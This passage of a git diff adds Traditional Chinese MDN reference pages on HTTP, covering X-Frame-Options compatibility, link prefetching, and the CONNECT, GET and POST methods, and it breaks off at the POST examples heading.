+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(4.1.249.1042) }}</td>
+   <td>{{ CompatGeckoDesktop(1.9.2.9) }}</td>
+   <td>{{ CompatIE(8.0) }}</td>
+   <td>{{ CompatOpera(10.5) }}</td>
+   <td>{{ CompatSafari(4.0) }}</td>
+  </tr>
+  <tr>
+   <td>ALLOW-FROM support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop(18.0) }} {{ bug(690168) }}</td>
+   <td>{{ CompatIE("8.0?") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }} {{webkitbug(94836)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect2"> </h2>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li><a class="external" href="http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx" title="http://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx">ClickJacking Defenses - IEBlog</a></li>
+ <li><a href="http://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx" title="http://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx">Combating ClickJacking with X-Frame-Options - IEInternals</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7034" title="https://tools.ietf.org/html/rfc7034">HTTP Header Field X-Frame-Options - RFC 7034</a></li>
+ <li><a href="https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors" title="https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html#frame-src">CSP Level 2 frame-ancestors directive</a></li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/The_X-FRAME-OPTIONS_response_header"} ) }}</p>
diff --git a/files/zh-tw/web/http/index.html b/files/zh-tw/web/http/index.html
new file mode 100644
index 0000000000..77b6555cf8
--- /dev/null
+++ b/files/zh-tw/web/http/index.html
@@ -0,0 +1,83 @@
+---
+title: HTTP
+slug: Web/HTTP
+tags:
+  - HTTP
+  - NeedsTranslation
+translation_of: Web/HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>超文本傳輸協定<dfn> (HTTP)</dfn></strong> 是一種用來傳輸超媒體文件 (像是HTML文件) 的<a href="http://en.wikipedia.org/wiki/Application_Layer">應用層</a>協定，被設計來讓瀏覽器和伺服器進行溝通，但也可做其他用途。HTTP 遵循標準<a href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">客戶端—伺服器</a>模式，由客戶端連線以發送請求，然後等待接收回應。HTTP 是一種<a href="https://en.wikipedia.org/wiki/Stateless_protocol">無狀態協定</a>，意思是伺服器不會保存任兩個請求間的任何資料 (狀態)。儘管作為 TCP/IP 的應用層，HTTP 亦可應用於其他可靠的<a href="http://en.wikipedia.org/wiki/Transport_Layer">傳輸層</a> (例如 <a href="https://en.wikipedia.org/wiki/User_Datagram_Protocol">UDP</a>)，只要不會無聲無息地遺失訊息即可。</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="教學">教學</h2>
+
+<p>學習如何使用HTTP的指南和教程。</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview">HTTP的概觀</a></dt>
+ <dd>基本特性：它能做什麼與它的用途</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching">HTTP Cache</a></dt>
+ <dd>Cache對網站速度很重要。  此文章描敘不同的方法使用HTTP Header控制它。</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP Cookies</a></dt>
+ <dd><a href="http://tools.ietf.org/html/rfc6265">RFC 6265</a> 定義了cookies的工作方式，當HTTP請求一個服務時，一個伺服器可以發送一個<code>Set-Cookie</code>的HTTP header回應。客戶端將以header的方式回傳cookie值給每個請求的同 一個伺服器，Cookie也會在某些時間進行更新，或是限制一個實體網域或路徑。</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">HTTP Access Control (CORS)</a></dt>
+ <dd><strong>Cross-site HTTP requests </strong>是來自不同網域的資源請求。舉個例子，一個HTML網頁從網域A (<code>http://domaina.example/</code>) 從網域B(<code>http://domainb.foo/image.jpg</code>)請求一個圖片，經由<code>img</code>元件。現今的網頁通常會讀取跨站資源，包括CSS樣式表、圖片、腳本與其他資源。CORS允許網頁開發人員的網站響應跨站讀取。</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP的演化</a></dt>
+ <dd>HTTP早期版本變化的簡要說明，到現在的HTTP/2與其他版本。</dd>
+ <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">網頁安全方針</a></dt>
+ <dd>一些技巧幫助運作團隊開發安全的網頁。</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Messages">HTTP 訊息</a></dt>
+ <dd>描述HTTP/1與HTTP/2不同類別與結構。</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Session">一個典型HTTP對話</a></dt>
+ <dd>顯示並解釋HTTP的通常對話流程。</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x的連接管理</a></dt>
+ <dd>描述在HTTP/1.x中可用的三種連接管理。</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="參考">參考</h2>
+
+<p>詳細的HTTP參考文件。</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">HTTP Headers</a></dt>
+ <dd>HTTP message headers are used to describe a resource, or the behavior of the server or the client. Custom proprietary headers can be added using the <code>X-</code> prefix; others in an <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">HTTP 請求方法</a></dt>
+ <dd>透過 HTTP 有幾種不同操作方法：{{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, and also less common requests like {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, or {{HTTPMethod("TRACE")}}.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Response_codes">HTTP 狀態回應碼</a></dt>
+ <dd>HTTP response codes indicate whether a specific HTTP request has been successfully completed. Responses are grouped in five classes: informational responses, successful responses, redirections, client errors, and servers errors.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">CSP directives</a></dt>
+ <dd>The {{HTTPHeader("Content-Security-Policy")}} response header fields allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints.</dd>
+</dl>
+
+<h2 id="工具與資源">工具與資源</h2>
+
+<p>Helpful tools and resources for understanding and debugging HTTP.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools">Firefox Developer Tools</a></dt>
+ <dd><a href="/en-US/docs/Tools/Network_Monitor">Network monitor</a></dd>
+ <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt>
+ <dd>
+ <p>A project designed to help developers, system administrators, and security professionals configure their sites safely and securely.</p>
+ </dd>
+ <dt><a class="external" href="https://redbot.org/">RedBot</a></dt>
+ <dd>Tools to check your cache-related headers</dd>
+ <dt><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">How Browsers Work</a></dt>
+ <dd>A very comprehensive article on browser internals and request flow through HTTP protocol. A MUST-READ for any web developer.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/zh-tw/web/http/link_prefetching_faq/index.html b/files/zh-tw/web/http/link_prefetching_faq/index.html
new file mode 100644
index 0000000000..275680cea6
--- /dev/null
+++ b/files/zh-tw/web/http/link_prefetching_faq/index.html
@@ -0,0 +1,121 @@
+---
+title: 預先取回連結 (Prefetch) 問答集
+slug: Web/HTTP/Link_prefetching_FAQ
+translation_of: Web/HTTP/Link_prefetching_FAQ
+---
+<h3 id="What_is_link_prefetching.3F" name="What_is_link_prefetching.3F">何謂預先取回連結 ?</h3>
+
+<p>預先取回連結 (Prefetch) 是一項瀏覽器機制；這項機制利用瀏覽器閒置時間，預先下載取回使用者稍後可能造訪的網頁資源。只要網頁告訴瀏覽器哪些資源可以預先取回，當瀏覽完成當下網頁載入工作後，瀏覽器便會在背景預先取回這些資源，並且存入快取之中，然後當使用者造訪預先取回的網頁時，網頁便可以快速地從快取中取出載入。</p>
+
+<h3 id="能在HTTPS執行預先取回嗎">能在HTTPS執行預先取回嗎 ?</h3>
+
+<p>從 Gecko 1.9.1 (Firefox 3.5), HTTPS 內容也能被預先取回。</p>
+
+<h3 id="What_are_the_prefetching_hints.3F" name="What_are_the_prefetching_hints.3F">如何告訴瀏覽器預先取回資源 ?</h3>
+
+<p>透過 HTML {{ HTMLElement("link") }} 或 <a href="/en/HTTP" title="en/HTTP">HTTP</a> <code>Link:</code> 標頭 (header) 便可以告訴瀏覽器哪些資源可以預先取回，範例如下：</p>
+
+<p>利用 Link 元素</p>
+
+<pre class="eval">&lt;link rel="prefetch" href="/images/big.jpeg"&gt;
+</pre>
+
+<p>利用 HTTP <code>Link:</code> header:</p>
+
+<pre class="eval">Link: &lt;/images/big.jpeg&gt;; rel=prefetch
+</pre>
+
+<p>利用 meta 元素代表 Link: header :</p>
+
+<pre class="eval">&lt;meta http-equiv="Link" content="&lt;/images/big.jpeg&gt;; rel=prefetch"&gt;
+</pre>
+
+<p><code>Link:</code> header 的格式請參閱 <a class="external" href="http://tools.ietf.org/html/rfc5988" title="http://tools.ietf.org/html/rfc5988">RFC 5988</a> section 5。</p>
+
+<p>可以指定多個預先取回資源，當瀏覽器閒置時，就會開始預先取回這些資源，例如:</p>
+
+<pre class="eval">&lt;link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css"&gt;
+&lt;link rel="next" href="2.html"&gt;
+</pre>
+
+<h3 id="Are_anchor_.28.3Ca.3E.29_tags_prefetched.3F" name="Are_anchor_.28.3Ca.3E.29_tags_prefetched.3F">&lt;a&gt; 元素能被預先取回嗎 ?</h3>
+
+<p>不行。目前只有 rel 屬性為 prefetch 的 link 元素 (或標頭) 所標示的資源能被預先取回。</p>
+
+<h3 id="Is_link_prefetching_standards_compliant.3F" name="Is_link_prefetching_standards_compliant.3F">預先取回 (Prefetch) 符合標準嗎 ?</h3>
+
+<p>預先取回並沒有違反標準規範；事實上 HTML 4.01 允許新定義的 rel 型態 (<a class="external" href="http://www.w3.org/TR/html4/types.html#type-links">see Section 6.12: Link types</a>)，只是 Mozilla 現在的機制還在 HTML5 標準化草稿作業中，請見 HTML5 標準:<a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#link-type-prefetch" title="http://www.whatwg.org/specs/web-apps/current-work/#link-type-prefetch"> Link type "prefetch"</a> .</p>
+
+<h3 id="How_is_browser_idle_time_determined.3F" name="How_is_browser_idle_time_determined.3F">如何判定瀏覽器是否閒置 ?</h3>
+
+<p>目前 (Mozilla 1.2) 主要是透過 <code>nsIWebProgressListener</code> API，向上層 <code>nsIWebProgress</code> 物件 ("@<a class="linkification-ext external" href="http://mozilla.org/docloaderservice;1" title="Linkification: http://mozilla.org/docloaderservice;1">mozilla.org/docloaderservice;1</a>") 註冊一個事件處理器；藉由此得知文件開啟和停止通知，所謂的閒置時間就是介於最後一個停止通知和下一個開始通知之間，而最後一個停止通知大約發生在 onLoad 事件觸發，由此瀏覽器開始預先取回各項資源。如果 frame 有指定需要預先取回的資源，那麼當最上層 frame 和其底下所有子 frame 的完成載入後，預先取回作業才會啟動。</p>
+
+<h3 id="What_happens_if_I_click_on_a_link_while_something_is_being_prefetched.3F" name="What_happens_if_I_click_on_a_link_while_something_is_being_prefetched.3F">當預先取回執行中有連結被點擊時會如何 ?</h3>
+
+<p>一但有連結點擊或網頁載入觸發，預先取回作業會立刻中止；倘若預先取回作業執行到一半的連結資源恰巧就是被點擊的連結，如果伺服器回應標頭有表明 "Accept-Ranges: bytes" ，那麼剩下的資源就會透過 HTTP byte-range 請求取回。</p>
+
+<h3 id="What_if_I.27m_downloading_something_in_the_background.3F_Will_link_prefetching_compete_for_bandwidth.3F" name="What_if_I.27m_downloading_something_in_the_background.3F_Will_link_prefetching_compete_for_bandwidth.3F">當在背景下載檔案，預先取回作業會佔用頻寬嗎 ?</h3>
+
+<p>不一定。Firefox 會先暫停預先取回作業直到背景下載任務結束，但如果是使用其他軟體下載檔案，那麼 Firefox 的預先取回作業並不會停止，未來 Firefox 計畫加入偵測作業系統的網路閒置時間 。</p>
+
+<h3 id="Are_there_any_restrictions_on_what_is_prefetched.3F" name="Are_there_any_restrictions_on_what_is_prefetched.3F">預先取回有限制嗎 ?</h3>
+
+<p>有。只有 <span class="nowiki">http://</span> (and, starting in {{ Gecko("1.9.1") }} <span class="nowiki">https://</span>) URLs 能被預先取回，其它如 FTP 則無法。</p>
+
+<h3 id="Will_Mozilla_prefetch_documents_from_a_different_host.3F" name="Will_Mozilla_prefetch_documents_from_a_different_host.3F">Mozilla 會預先取回不同網域的文件嗎 ?</h3>
+
+<p>會，因為預先取回並沒有 same-origin (同源政策) 的限制，同源限定並不會加強瀏覽器安全性。</p>
+
+<h3 id="Do_prefetched_requests_contain_a_Referer:_header.3F" name="Do_prefetched_requests_contain_a_Referer:_header.3F">預先取回請求帶有 Referer: header 嗎 ?</h3>
+
+<p>有，預先取回帶有 HTTP <code>Referer:</code> header 表明那份文件發起預先取回請求。</p>
+
+<p>這或許會對追蹤 referer (參照位址) 造成影響，所以預先取回可能不適用於所有資源，不過還是可以利用 <code>Cache-control: must-revalidate</code> HTTP 回應標頭，要求 Firefox 造訪預先取回的網頁，這個標頭允許快取，但是取用快取前需要先經過 <code>If-Modified-Since</code> 或 <code>If-None-Match</code> 宴請求。</p>
+
+<h3 id="As_a_server_admin.2C_can_I_distinguish_prefetch_requests_from_normal_requests.3F" name="As_a_server_admin.2C_can_I_distinguish_prefetch_requests_from_normal_requests.3F">如何分辨來自一般和預先取回的請求 ?</h3>
+
+<p>Firefox 對每一個預先取回請求都會附帶如下標頭:</p>
+
+<pre>X-moz: prefetch</pre>
+
+<p>請注意這標頭並非標準之一，未來也有可能變更。</p>
+
+<h3 id="Is_there_a_preference_to_disable_link_prefetching.3F" name="Is_there_a_preference_to_disable_link_prefetching.3F">可以從偏好設定裡關閉預先取回嗎 ?</h3>
+
+<p>透過 <a class="linkification-ext" href="/about:config" title="Linkification: about:config">about:config</a>，或是在 profile 目錄底下的 prefs.js 檔內加入以下程式碼。</p>
+
+<pre class="eval">user_pref("network.prefetch-next", false);
+</pre>
+
+<h3 id="What_about_folks_who_pay-per-byte_for_network_bandwidth.3F" name="What_about_folks_who_pay-per-byte_for_network_bandwidth.3F">對頻寬使用量付費的使用者的影響</h3>
+
+<p>基本上可以分成兩個層面來看：第一、原本就可以利用 JS/DOM 來進行預先下載；第二、預先取回算是瀏覽器功能，應該要能夠讓使用者關閉。</p>
+
+<p>利用 <code>&lt;link&gt;</code> 而非 JS/DOM 的特殊做法來預先取回資源比較好，因為瀏覽器可以做較佳的優先取回排序。另外預設開啟預先取回功能也是希望鼓勵網頁不要採用這類自行撰寫的 JS/DOM 做法。</p>
+
+<h3 id="Which_browsers_support_link_prefetching.3F" name="Which_browsers_support_link_prefetching.3F">那些瀏覽器支援預先取回 ?</h3>
+
+<p>Firefox 和 Netscape 7.01+。 <a class="external" href="http://gemal.dk/browserspy/prefetch.php">測試</a>瀏覽器是否支援預先取回功能。</p>
+
+<h3 id="Privacy_implications" name="Privacy_implications">隱私權議題</h3>
+
+<p>預先取回會導致被取回網頁的 cookie 也一併被預先取回，例如搜尋 amazon，google 搜尋網頁會預先取回 <a class="linkification-ext external" href="http://www.amazon.com" title="Linkification: http://www.amazon.com">www.amazon.com</a> 網頁及其 cookie，如果想要阻擋第三方 cookie ，請參閱 <a class="external" href="http://support.mozilla.com/en-US/kb/Disabling%20third%20party%20cookies" title="http://support.mozilla.com/en-US/kb/Disabling third party cookies">Disabling third party cookies</a>。</p>
+
+<h3 id="What_about....3F" name="What_about....3F">還有... ?What about...?</h3>
+
+<p>若是還有其他有關預先取回的問題，請不要客氣直接發問 :-)</p>
+
+<h4 id="See_also..." name="See_also...">延伸閱讀</h4>
+
+<p><a class="external" href="http://www.edochan.com/programming/pf.htm">Prefetching Hints</a></p>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Darin Fisher (darin at meer dot net)</li>
+ <li>Last Updated Date: Updated: March 3, 2003</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/http/methods/connect/index.html b/files/zh-tw/web/http/methods/connect/index.html
new file mode 100644
index 0000000000..0b44ddec87
--- /dev/null
+++ b/files/zh-tw/web/http/methods/connect/index.html
@@ -0,0 +1,82 @@
+---
+title: CONNECT
+slug: Web/HTTP/Methods/CONNECT
+translation_of: Web/HTTP/Methods/CONNECT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>CONNECT</code> </strong>方法會利用請求資源啟動一個雙向通訊。這通常可用於建立隧道。</p>
+
+<p>舉例來說，<code>CONNECT </code>方法可以用於存取使用 {{Glossary("SSL")}} ({{Glossary("HTTPS")}}) 的網站。客戶端請求 HTTP Proxy 伺服器建立 TCP 連結的隧道到指定的位置。伺服器接著代表客戶端建立連結。一但連結建立，Proxy 伺服器會持續收送 TCP 流到客戶端。</p>
+
+<p><code>CONNECT</code> 是個逐跳方法。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">請求具有 Body</th>
+   <td>否</td>
+  </tr>
+  <tr>
+   <th scope="row">成功回覆具有 Body</th>
+   <td>是</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>否</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>否</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>否</td>
+  </tr>
+  <tr>
+   <th scope="row">可用於 <a href="/zh-TW/docs/Web/Guide/HTML/Forms">HTML 表單</a></th>
+   <td>否</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<p>有些 Proxy 伺服器也許需要授權以建立隧道。請見 {{HTTPHeader("Proxy-Authorization")}} 標頭。</p>
+
+<pre class="line-numbers  language-html">CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">標題</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td>
+   <td>超文本轉送協議 (HTTP/1.1): 語意與內容</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.CONNECT")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/methods/get/index.html b/files/zh-tw/web/http/methods/get/index.html
new file mode 100644
index 0000000000..654d4a3d3d
--- /dev/null
+++ b/files/zh-tw/web/http/methods/get/index.html
@@ -0,0 +1,69 @@
+---
+title: GET
+slug: Web/HTTP/Methods/GET
+translation_of: Web/HTTP/Methods/GET
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>GET</code> method</strong> 方法請求展示指定資源。 使用 <code>GET</code> 的請求只應用於取得資料。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Request 有 body</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">成功的 response 有 body</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">允許在 HTML 表單</th>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="格式">格式</h2>
+
+<pre class="syntaxbox">GET /index.html
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "GET", "4.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.GET")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/zh-tw/web/http/methods/index.html b/files/zh-tw/web/http/methods/index.html
new file mode 100644
index 0000000000..fb44615883
--- /dev/null
+++ b/files/zh-tw/web/http/methods/index.html
@@ -0,0 +1,63 @@
+---
+title: HTTP 請求方法
+slug: Web/HTTP/Methods
+translation_of: Web/HTTP/Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP 定義了一組能令給定資源，執行特定操作的<strong>請求方法</strong>（request methods）。他們儘管屬於名詞，但也能稱為 <em>HTTP 動詞</em>。每個方法都有不同的語意，不過也有些共享的相通功能，像是{{glossary("safe")}}、{{glossary("idempotent")}}、{{glossary("cacheable")}}。</p>
+
+<dl>
+ <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/GET">GET</a></code></dt>
+ <dd><code>GET</code> 方法請求展示指定資源。使用 <code>GET</code> 的請求只應用於取得資料。</dd>
+ <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/HEAD">HEAD</a></code></dt>
+ <dd><code>HEAD</code> 方法請求與 <code>GET</code> 方法相同的回應，但它沒有回應主體（response body）。</dd>
+ <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/POST">POST</a></code></dt>
+ <dd><code>POST</code> 方法用於提交指定資源的實體，通常會改變伺服器的狀態或副作用（side effect）。</dd>
+ <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/PUT">PUT</a></code></dt>
+ <dd><code>PUT</code> 方法會取代指定資源所酬載請求（request payload）的所有表現。</dd>
+ <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/DELETE">DELETE</a></code></dt>
+ <dd><code>DELETE</code> 方法會刪除指定資源.</dd>
+ <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/CONNECT">CONNECT</a></code></dt>
+ <dd><code>CONNECT</code> 方法會和指定資源標明的伺服器之間，建立隧道（tunnel）。</dd>
+ <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/OPTIONS">OPTIONS</a></code></dt>
+ <dd><code>OPTIONS</code> 方法描述指定資源的溝通方法（communication option）。</dd>
+ <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/TRACE">TRACE</a></code></dt>
+ <dd><code>TRACE</code> 方法會與指定資源標明的伺服器之間，執行迴路返回測試（loop-back test）。</dd>
+ <dt><code><a href="/zh-TW/docs/Web/HTTP/Methods/PATCH">PATCH</a></code></dt>
+ <dd><code>PATCH</code> 方法套用指定資源的部份修改。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">標題</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Request methods", "4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+   <td>Specifies GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "Patch method", "2")}}</td>
+   <td>PATCH method for HTTP</td>
+   <td>Specifies PATCH.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this file: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p>
+
+<p>{{Compat("http/methods")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/HTTP/Headers">HTTP 標頭</a></li>
+</ul>
diff --git a/files/zh-tw/web/http/methods/post/index.html b/files/zh-tw/web/http/methods/post/index.html
new file mode 100644
index 0000000000..3332297535
--- /dev/null
+++ b/files/zh-tw/web/http/methods/post/index.html
@@ -0,0 +1,124 @@
+---
+title: POST
+slug: Web/HTTP/Methods/POST
+translation_of: Web/HTTP/Methods/POST
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The <strong>HTTP <code>POST</code> method</strong> sends data to the server. The type of the body of the request is indicated by the {{HTTPHeader("Content-Type")}} header.</p>
+
+<p>The difference between <code>PUT</code> and {{HTTPMethod("POST")}} is that <code>PUT</code> is idempotent: calling it once or several times successively has the same effect (that is no <em>side</em> effect), where successive identical <code>POST</code> may have additional effects, like passing an order several times.</p>
+
+<p>A <code>POST</code> request is typically sent via an <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML form</a> and results in a change on the server. In this case, the content type is selected by putting the adequate string in the {{htmlattrxref("enctype", "form")}} attribute of the {{HTMLElement("form")}} element or the {{htmlattrxref("formenctype", "input")}} attribute of the {{HTMLElement("input") }} or {{HTMLElement("button")}} elements:</p>
+
+<ul>
+ <li><code>application/x-www-form-urlencoded</code>: the keys and values are encoded in key-value tuples separated by <code>'&amp;'</code>, with a <code>'='</code> between the key and the value. Non-alphanumeric characters in both keys and values are {{glossary("percent-encoding", "percent encoded")}}: this is the reason why this type is not suitable to use with binary data (use <code>multipart/form-data</code> instead)</li>
+ <li><code>multipart/form-data</code>: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part. The keys are given in the <code>Content-Disposition</code> header of each part.</li>
+ <li><code>text/plain</code></li>
+</ul>
+
+<p>When the <code>POST</code> request is sent via a method other than an HTML form — like via an {{domxref("XMLHttpRequest")}} — the body can take any type. As described in the HTTP 1.1 specification, <code>POST</code> is designed to allow a uniform method to cover the following functions:</p>
+
+<ul>
+ <li>Annotation of existing resources</li>
+ <li>Posting a message to a bulletin board, newsgroup, mailing list, or similar group of articles;</li>
+ <li>Adding a new user through a signup modal;</li>
+ <li>Providing a block of data, such as the result of submitting a form, to a data-handling process;</li>
+ <li>Extending a database through an append operation.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Request has body</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Successful response has body</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>Only if freshness information is included</td>
+  </tr>
+  <tr>
+   <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="格式">格式</h2>
+
+<pre class="syntaxbox">POST /test
+</pre>
+
+<h2 id="範例">範例</h2>
+
